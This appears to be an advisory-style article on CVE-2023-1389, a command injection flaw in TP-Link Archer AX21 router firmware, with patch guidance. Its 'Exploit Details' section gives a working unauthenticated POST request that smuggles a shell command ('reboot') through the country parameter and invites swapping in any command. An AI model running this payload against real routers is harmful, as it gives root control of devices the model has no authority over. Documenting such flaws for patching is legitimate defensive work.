In this exclusive deep dive, we will discuss the command injection vulnerability found in TP-Link Archer AX21 (AX180) firmware versions prior to 1.1.4 Build 20230219. This vulnerability allows unauthenticated attackers to execute arbitrary commands as root. We will explore the details of the flaw and provide a code snippet and exploit details to help you understand and prevent similar issues from occurring in the future.

Vulnerability Details

The security flaw can be found in the "country" form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface of TP-Link Archer AX21 (AX180) routers. The country parameter is passed to a popen() system call without proper input sanitization, leading to the possibility of command injection.

Vulnerable Firmware Version

The vulnerability affects TP-Link Archer AX21 (AX180) firmware versions before 1.1.4 Build 20230219. It is highly recommended to upgrade to the latest firmware version to mitigate the risk associated with this vulnerability.

Exploit Details

To exploit this vulnerability, an attacker can send a simple POST request to the /cgi-bin/luci;stok=/locale endpoint containing a malicious payload. The following is an example of a POST request that demonstrates the exploitation of this vulnerability:

POST /cgi-bin/luci;stok=/locale HTTP/1.1
Host: <Router IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <Payload Length>

token=&addAction=1&country=us;reboot;  # Insert the desired command after the country parameter

In this example, the attacker sends a POST request to the /cgi-bin/luci;stok=/locale endpoint containing a command injection payload that would reboot the router (reboot). Since the country parameter is not sanitized before being passed to the popen() function, the injected command will be executed as root.


Owners of affected devices are advised to update their firmware to version 1.1.4 Build 20230219 or later promptly. The updated firmware resolves this command injection vulnerability by properly sanitizing the user-supplied input before passing it to system calls. You can download the latest firmware from the official TP-Link website.


- CVE-2023-1389 - National Vulnerability Database
- TP-Link Archer AX21 (AX180) Firmware Update


In conclusion, the CVE-2023-1389 vulnerability in TP-Link Archer AX21 (AX180) firmware versions before 1.1.4 Build 20230219 demonstrated the importance of proper input sanitization when handling user-supplied data. Ensuring that appropriate security measures are in place to prevent command injection attacks is crucial to safeguarding your devices and network infrastructure. Always keep your firmware up to date and monitor any security advisories related to your devices.


Published on: 03/15/2023 23:15:00 UTC
Last modified on: 03/21/2023 19:31:00 UTC